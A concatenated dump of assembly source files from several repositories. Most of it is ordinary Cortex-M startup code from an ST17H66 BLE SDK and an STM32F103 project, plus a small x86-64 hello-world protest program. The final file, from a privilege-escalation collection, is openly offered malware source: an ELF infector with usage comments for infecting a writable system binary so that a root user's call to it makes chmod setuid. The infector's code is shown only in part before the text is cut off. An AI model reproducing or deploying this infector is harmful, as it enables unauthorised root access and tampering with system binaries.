[WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END

17HXX/BLE5_ST17H66

9,655

ST17H66_SDK_3.0.9/example/OTA/slboot/RTE/Device/ARMCM0/startup_ARMCM0.s

;/**************************************************************************//** ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; ******************************************************************************/ ;/* Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------*/ ;/* ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000c00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END

17HXX/BLE5_ST17H66

9,655

ST17H66_SDK_3.0.9/example/OTA/OTA_internal_flash/RTE/Device/ARMCM0/startup_ARMCM0.s

;/**************************************************************************//** ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; ******************************************************************************/ ;/* Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------*/ ;/* ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000800 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000200 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END

1822417391/STM32HAL_Intelligent-Kitchen-Alarm-System

12,040

MDK-ARM/startup_stm32f103xb.s

;******************** (C) COPYRIGHT 2017 STMicroelectronics ******************** ;* File Name : startup_stm32f103xb.s ;* Author : MCD Application Team ;* Description : STM32F103xB Devices vector table for MDK-ARM toolchain. ;* This module performs: ;* - Set the initial SP ;* - Set the initial PC == Reset_Handler ;* - Set the vector table entries with the exceptions ISR address ;* - Configure the clock system ;* - Branches to __main in the C library (which eventually ;* calls main()). ;* After Reset the Cortex-M3 processor is in Thread mode, ;* priority is Privileged, and the Stack is set to Main. ;****************************************************************************** ;* @attention ;* ;* Copyright (c) 2017-2021 STMicroelectronics. ;* All rights reserved. ;* ;* This software is licensed under terms that can be found in the LICENSE file ;* in the root directory of this software component. ;* If no LICENSE file comes with this software, it is provided AS-IS. ;* ;****************************************************************************** ; Amount of memory (in bytes) allocated for Stack ; Tailor this value to your application needs ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x200 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD MemManage_Handler ; MPU Fault Handler DCD BusFault_Handler ; Bus Fault Handler DCD UsageFault_Handler ; Usage Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD DebugMon_Handler ; Debug Monitor Handler DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WWDG_IRQHandler ; Window Watchdog DCD PVD_IRQHandler ; PVD through EXTI Line detect DCD TAMPER_IRQHandler ; Tamper DCD RTC_IRQHandler ; RTC DCD FLASH_IRQHandler ; Flash DCD RCC_IRQHandler ; RCC DCD EXTI0_IRQHandler ; EXTI Line 0 DCD EXTI1_IRQHandler ; EXTI Line 1 DCD EXTI2_IRQHandler ; EXTI Line 2 DCD EXTI3_IRQHandler ; EXTI Line 3 DCD EXTI4_IRQHandler ; EXTI Line 4 DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1 DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2 DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3 DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4 DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5 DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6 DCD DMA1_Channel7_IRQHandler ; DMA1 Channel 7 DCD ADC1_2_IRQHandler ; ADC1_2 DCD USB_HP_CAN1_TX_IRQHandler ; USB High Priority or CAN1 TX DCD USB_LP_CAN1_RX0_IRQHandler ; USB Low Priority or CAN1 RX0 DCD CAN1_RX1_IRQHandler ; CAN1 RX1 DCD CAN1_SCE_IRQHandler ; CAN1 SCE DCD EXTI9_5_IRQHandler ; EXTI Line 9..5 DCD TIM1_BRK_IRQHandler ; TIM1 Break DCD TIM1_UP_IRQHandler ; TIM1 Update DCD TIM1_TRG_COM_IRQHandler ; TIM1 Trigger and Commutation DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare DCD TIM2_IRQHandler ; TIM2 DCD TIM3_IRQHandler ; TIM3 DCD TIM4_IRQHandler ; TIM4 DCD I2C1_EV_IRQHandler ; I2C1 Event DCD I2C1_ER_IRQHandler ; I2C1 Error DCD I2C2_EV_IRQHandler ; I2C2 Event DCD I2C2_ER_IRQHandler ; I2C2 Error DCD SPI1_IRQHandler ; SPI1 DCD SPI2_IRQHandler ; SPI2 DCD USART1_IRQHandler ; USART1 DCD USART2_IRQHandler ; USART2 DCD USART3_IRQHandler ; USART3 DCD EXTI15_10_IRQHandler ; EXTI Line 15..10 DCD RTC_Alarm_IRQHandler ; RTC Alarm through EXTI Line DCD USBWakeUp_IRQHandler ; USB Wakeup from suspend __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA |.text|, CODE, READONLY ; Reset handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT __main IMPORT SystemInit LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP MemManage_Handler\ PROC EXPORT MemManage_Handler [WEAK] B . ENDP BusFault_Handler\ PROC EXPORT BusFault_Handler [WEAK] B . ENDP UsageFault_Handler\ PROC EXPORT UsageFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP DebugMon_Handler\ PROC EXPORT DebugMon_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WWDG_IRQHandler [WEAK] EXPORT PVD_IRQHandler [WEAK] EXPORT TAMPER_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT FLASH_IRQHandler [WEAK] EXPORT RCC_IRQHandler [WEAK] EXPORT EXTI0_IRQHandler [WEAK] EXPORT EXTI1_IRQHandler [WEAK] EXPORT EXTI2_IRQHandler [WEAK] EXPORT EXTI3_IRQHandler [WEAK] EXPORT EXTI4_IRQHandler [WEAK] EXPORT DMA1_Channel1_IRQHandler [WEAK] EXPORT DMA1_Channel2_IRQHandler [WEAK] EXPORT DMA1_Channel3_IRQHandler [WEAK] EXPORT DMA1_Channel4_IRQHandler [WEAK] EXPORT DMA1_Channel5_IRQHandler [WEAK] EXPORT DMA1_Channel6_IRQHandler [WEAK] EXPORT DMA1_Channel7_IRQHandler [WEAK] EXPORT ADC1_2_IRQHandler [WEAK] EXPORT USB_HP_CAN1_TX_IRQHandler [WEAK] EXPORT USB_LP_CAN1_RX0_IRQHandler [WEAK] EXPORT CAN1_RX1_IRQHandler [WEAK] EXPORT CAN1_SCE_IRQHandler [WEAK] EXPORT EXTI9_5_IRQHandler [WEAK] EXPORT TIM1_BRK_IRQHandler [WEAK] EXPORT TIM1_UP_IRQHandler [WEAK] EXPORT TIM1_TRG_COM_IRQHandler [WEAK] EXPORT TIM1_CC_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT TIM3_IRQHandler [WEAK] EXPORT TIM4_IRQHandler [WEAK] EXPORT I2C1_EV_IRQHandler [WEAK] EXPORT I2C1_ER_IRQHandler [WEAK] EXPORT I2C2_EV_IRQHandler [WEAK] EXPORT I2C2_ER_IRQHandler [WEAK] EXPORT SPI1_IRQHandler [WEAK] EXPORT SPI2_IRQHandler [WEAK] EXPORT USART1_IRQHandler [WEAK] EXPORT USART2_IRQHandler [WEAK] EXPORT USART3_IRQHandler [WEAK] EXPORT EXTI15_10_IRQHandler [WEAK] EXPORT RTC_Alarm_IRQHandler [WEAK] EXPORT USBWakeUp_IRQHandler [WEAK] WWDG_IRQHandler PVD_IRQHandler TAMPER_IRQHandler RTC_IRQHandler FLASH_IRQHandler RCC_IRQHandler EXTI0_IRQHandler EXTI1_IRQHandler EXTI2_IRQHandler EXTI3_IRQHandler EXTI4_IRQHandler DMA1_Channel1_IRQHandler DMA1_Channel2_IRQHandler DMA1_Channel3_IRQHandler DMA1_Channel4_IRQHandler DMA1_Channel5_IRQHandler DMA1_Channel6_IRQHandler DMA1_Channel7_IRQHandler ADC1_2_IRQHandler USB_HP_CAN1_TX_IRQHandler USB_LP_CAN1_RX0_IRQHandler CAN1_RX1_IRQHandler CAN1_SCE_IRQHandler EXTI9_5_IRQHandler TIM1_BRK_IRQHandler TIM1_UP_IRQHandler TIM1_TRG_COM_IRQHandler TIM1_CC_IRQHandler TIM2_IRQHandler TIM3_IRQHandler TIM4_IRQHandler I2C1_EV_IRQHandler I2C1_ER_IRQHandler I2C2_EV_IRQHandler I2C2_ER_IRQHandler SPI1_IRQHandler SPI2_IRQHandler USART1_IRQHandler USART2_IRQHandler USART3_IRQHandler EXTI15_10_IRQHandler RTC_Alarm_IRQHandler USBWakeUp_IRQHandler B . ENDP ALIGN ;******************************************************************************* ; User Stack and Heap initialization ;******************************************************************************* IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ALIGN ENDIF END

1995parham/github-do-not-ban-us

3,727

together/iAlex11/iAlex11.s

global start section .text start: mov rax, 0x2000004 ; write mov rdi, 1 ; stdout mov rsi, msg mov rdx, msg.len syscall mov rax, 0x2000001 ; exit mov rdi, 0 syscall section .data msg: db "GitHub is for everyone!", 10 .len: equ $ - msg /* ,----, ,/ .`| ,--, ,----.. ,----.. ,--. ,----.. ,---, ,` .' : ,--.'| ,---,. ,---,. / / \ ,-.----. ,---,. ,---,.,-.----. / / \ ,--.'| ,---,. / / \ ,`--.' | ; ; / ,--, | : ,--, ,' .' \ ,' .' | / . : \ / \ ,' .' | ,---. ,' .' |\ / \ ,---, / . : ,--,: : | ,' .' | | : : | : :.'___,/ ,',---.'| : ' ,'_ /|,---.' .' | ,---.' | . / ;. \; : \ ,---.' | /__./|,---.' |; : \ /_ ./| . / ;. \,`--.'`| ' :,---.' | . | ;. / : | '| : | | | : _' | .--. | | :| | |: | | | .'. ; / ` ;| | .\ : | | .' ,---.; ; || | .'| | .\ :,---, | ' :. ; / ` ;| : : | || | .' . ; /--` | : |; |.'; ; : : |.' |,'_ /| : . |: : : / : : : ; | ; \ ; |. : |: | : : |-,/___/ \ | |: : |-,. : |: /___/ \. : |; | ; \ ; |: | \ | :: : |-, ; | ; __ ' ' ;`----' | | | ' ' ; :| ' | | . .: | ; : | |-,| : | ; | '| | \ : : | ;/|\ ; \ ' |: | ;/|| | \ :. \ \ ,' '| : | ; | '| : ' '; |: | ;/| | : |.' .'| | | ' : ; ' | .'. || | ' | | || : \ | : ;/|. | ' ' ' :| : . / | : .' \ \ \: || : .'| : . / \ ; ` ,'. | ' ' ' :' ' ;. ;| : .' . | '_.' :' : ; | | ' | | : | ': | | : ' ;| | . | | | .'' ; \; / |; | | \ | | |-, ; \ ' .| | |-,; | | \ \ \ ' ' ; \; / || | | \ || | |-, ' ; : \ || | ' ' : | ' : | : ;| ; ' | | '' : '; | ' : ' \ \ ', / | | ;\ \ ' : ;/| \ \ '' : ;/|| | ;\ \ ' \ | \ \ ', / ' : | ; .'' : ;/| ' | '/ .'' : | ; |.' | | ' ,/ : | : ; ; || | | ; | | | ; : / : ' | \.' | | \ \ ` ;| | \: ' | \.' \ ; ; ; : / | | '`--' | | \ | : / ; |.' '---' ; : ;--' ' : `--' \ : / | : \ \ \ .' : : :-' | : .' : \ || : .': : :-' : \ \ \ \ .' ' : | | : .' \ \ .' '---' | ,/ : , .-./ | ,' | | ,' `---` | |.' | | ,' '---" | | ,' | |.' \ ' ; `---` ; |.' | | ,' `---` '---' `--`----' `----' `----' `---' `----' `----' `---' `--` '---' `----' */

1N3/PrivEsc

7,303

linux/linux_exploits/2492.s

# gcc infR3.s -o infR3 # strip infR3 # find a writable binary (example: ls) # ./infR3 /bin/ls # when root calls the writable ls, chmod will be setuided # Coded by jolmos@7a69ezine.org == sha0@BadCheckSum.com .text .global main # infeccion de _start para conseguir local root # use at your own risk # # Coded by jolmos@7a69ezine.org == sha0@BadCheckSum.com # # GPLv2 main: push %ebp movl %esp, %ebp subl $500, %esp #si el codigo del bicho es mas grande, habra k ampliar este buffer get_param: movl 0x0c(%ebp), %eax movl 4(%eax), %ebx # ebx -> argv[1] open_host: movl $5, %eax movl $2, %ecx int $0x80 movl %eax, -4(%ebp) # descriptor en -4 calc_len: movl $19, %eax movl -4(%ebp), %ebx xorl %ecx, %ecx movl $2, %edx int $0x80 movl %eax, -8(%ebp) # longitud del host en -8 mapeo: movl $90, %eax xorl %ecx, %ecx pushl %ecx # offset 0 pushl -4(%ebp) # descriptor pushl $1 # privado 0x22 pushl $3 # read|write 0x07 pushl -8(%ebp) # size pushl %ecx # nulo, para que nos indique mmap donde. movl %esp, %ebx int $0x80 cmp $0xfffff000, %eax jbe ident # error en el mapa jmp ending ident: movl %eax, -12(%ebp) # -12 -> VA del mapa # eax -> VA del mapa cmpl $0x464c457f, (%eax) # es elf? jne not_elf cmpb $0x02, 0x10(%eax) # es ejecutable? jne not_elf cmpl $0xde, 0x07(%eax) # comprobar si ya 